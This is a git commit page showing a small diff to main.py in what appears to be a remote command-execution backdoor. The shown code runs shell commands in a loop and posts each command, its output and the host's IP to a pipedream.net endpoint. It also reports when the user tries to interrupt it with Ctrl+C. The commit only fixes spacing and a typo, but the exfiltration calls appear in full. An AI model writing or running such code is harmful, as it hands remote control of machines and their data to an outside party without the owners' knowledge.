summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 09:07:01 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 09:07:01 +0800
commit9eed6f37e10c73bd2c9f13bf10c778d1191f8393 (patch)
treebf6a69bb5004820604af651f4efe921e618be77f /main.py
parent0dbcf3e348e934586c5e0bc79355f023d11f4ef5 (diff)
init for gh ci
Diffstat (limited to 'main.py')
-rw-r--r--main.py4
1 files changed, 2 insertions, 2 deletions
diff --git a/main.py b/main.py
index eff646c..c698c1a 100644
--- a/main.py
+++ b/main.py
@@ -65,7 +65,7 @@ while True:
cmdout = system(command, shell=True).decode()
if cmdout != "":
try:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}")
except KeyboardInterrupt:
try:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
@@ -90,6 +90,6 @@ while True:
except KeyboardInterrupt:
try:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``")
- except KeyyboardInerrupt:
+ except KeyboardInterrupt:
continue
continue